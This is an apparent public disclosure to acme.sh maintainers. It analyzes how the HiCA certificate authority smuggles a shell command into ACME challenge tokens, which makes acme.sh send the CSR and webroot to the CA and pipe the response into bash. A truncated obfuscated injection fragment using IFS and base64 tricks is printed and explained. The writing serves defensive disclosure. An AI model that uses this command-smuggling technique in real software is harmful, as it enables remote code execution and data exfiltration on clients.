Hello,

You may already be aware of this, but HiCA is injecting arbitrary code/commands into the certificate obtaining process and acme.sh is running them on the client machine. I am not sure if this is intentional, expected by users, or safe/unsafe. But I’m documenting my findings for the public to be aware of with this CA.

HiCA’s documentation explains that it only supports acme.sh as a client. This was curious to me so I tried to learn why, if it is using ACME (and the ACME logo!) it should be basically compatible with the majority of ACME clients. While obtaining a certificate using ACMEz, I discovered that the Directory was blocked unless the User-Agent is set to a string that starts with Mozilla or acme.sh/2.8.2 (https://github.com/Neilpang/acme.sh). (Firefox loaded the directory just fine, which is surprising because Firefox is not acme.sh.) (I also noticed that caaIdentities includes a variety of CAs including Google Trust Services and SSL.com. Curious.)

Once I faked the UA in my own client and got that working, issuance still failed. Curiously, the error message involved trying a URL of ../pki-validation. This doesn’t make any sense to me even though that kind of appears in their docs because it is not standard ACME, so I dug a little deeper to figure out what the Challenge object consisted of that would cause my client to try making a request to ../pki-validation.

It turns out that the Challenge objects look unusual. Here’s a lightly-formatted example:

{
    Type: http-01
    URL: ../pki-validation
    Status: pending
    Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<
    KeyAuthorization: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<
}

Now it became immediately obvious to my why HiCA only supports acme.sh. They are not conforming to ACME at all! (Bugs the heck outa me that they’re using the official ACME logo on their site even though they don’t implement the ACME standard.)

Instead, HiCA is stealthily crafting curl commands and piping the output to bash. acme.sh is (being tricked into?) running arbitrary code from a remote server.

Here’s my analysis so far:

The Token string is NOT in conformance with RFC 8555, which states: “the token for a challenge is a string comprised entirely of characters in the URL safe base64 alphabet.” (# is not URL-safe).

However you can tell they’re abusing this Token string to encode structure that can be parsed by splitting on “#”:

  • I’m not sure what “dd” means. I do have a file called /tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<< after running acme.sh for a test domain though. It contains the value "dd"...
  • The next part is clearly a URL to a "precheck-http" resource for this challenge. It returns an error "csr not submitted" if you try to request them before running the csr/http endpoint successfully. I haven't crafted a successful request to this endpoint yet.
  • The next part of the token is the challenge type, http-01 in this case.
  • The part starting with "/tmp/" is a path to a temporary folder or file. A curl command is crafted by inline scripts that write " " (space) and "://" by base64-decoding "IA==" and "Oi8v" respectively. The result is a command like curl -sF csr=@... https://...?o=$_w. In other words, it sends the CSR (provided by acme.sh variable $csr) and your web root to the CA and then pipes the response of that command straight into bash and acme.sh runs it. 😬 I am hoping you could help me craft a request to see the contents of the script that is being run. It seems to involve writing to the disk since o (output?) contains the webroot (the value of $_w in acme.sh). UPDATE: Aleksejs Popovs has extracted the remote script and verified that it does get executed in a VM.
  • Another obvious concern is the Token is supposed to contain at least 128 bits of entropy without client influence. See RFC 8555 section 11.3:

    "First, the ACME client should not be able to influence the ACME server's choice of token as this may allow an attacker to reuse a domain owner's previous challenge responses for a new validation request."

  • Error responses come with a 200 status and application/json Content-Type in violation of RFC 8555 (and HTTP convention). This makes it tedious to correctly handle errors. Only "server error" responses return 500.
  • The second number in the endpoints (654321 in this example) increments for each challenge. So we know how many challenges this CA is experiencing.

Anyway, this all seems very worrisome to me.

I am not sure why HiCA is doing what they are doing. But this intentional deviation from RFC 8555 and the lack of transparency on their docs is suspicious and concerning.

I am not sure if it is intentional that acme.sh is allowing arbitrary commands from a remote server to execute.

Hopefully this is helpful and maybe you can provide some insight and recommendations.

Read More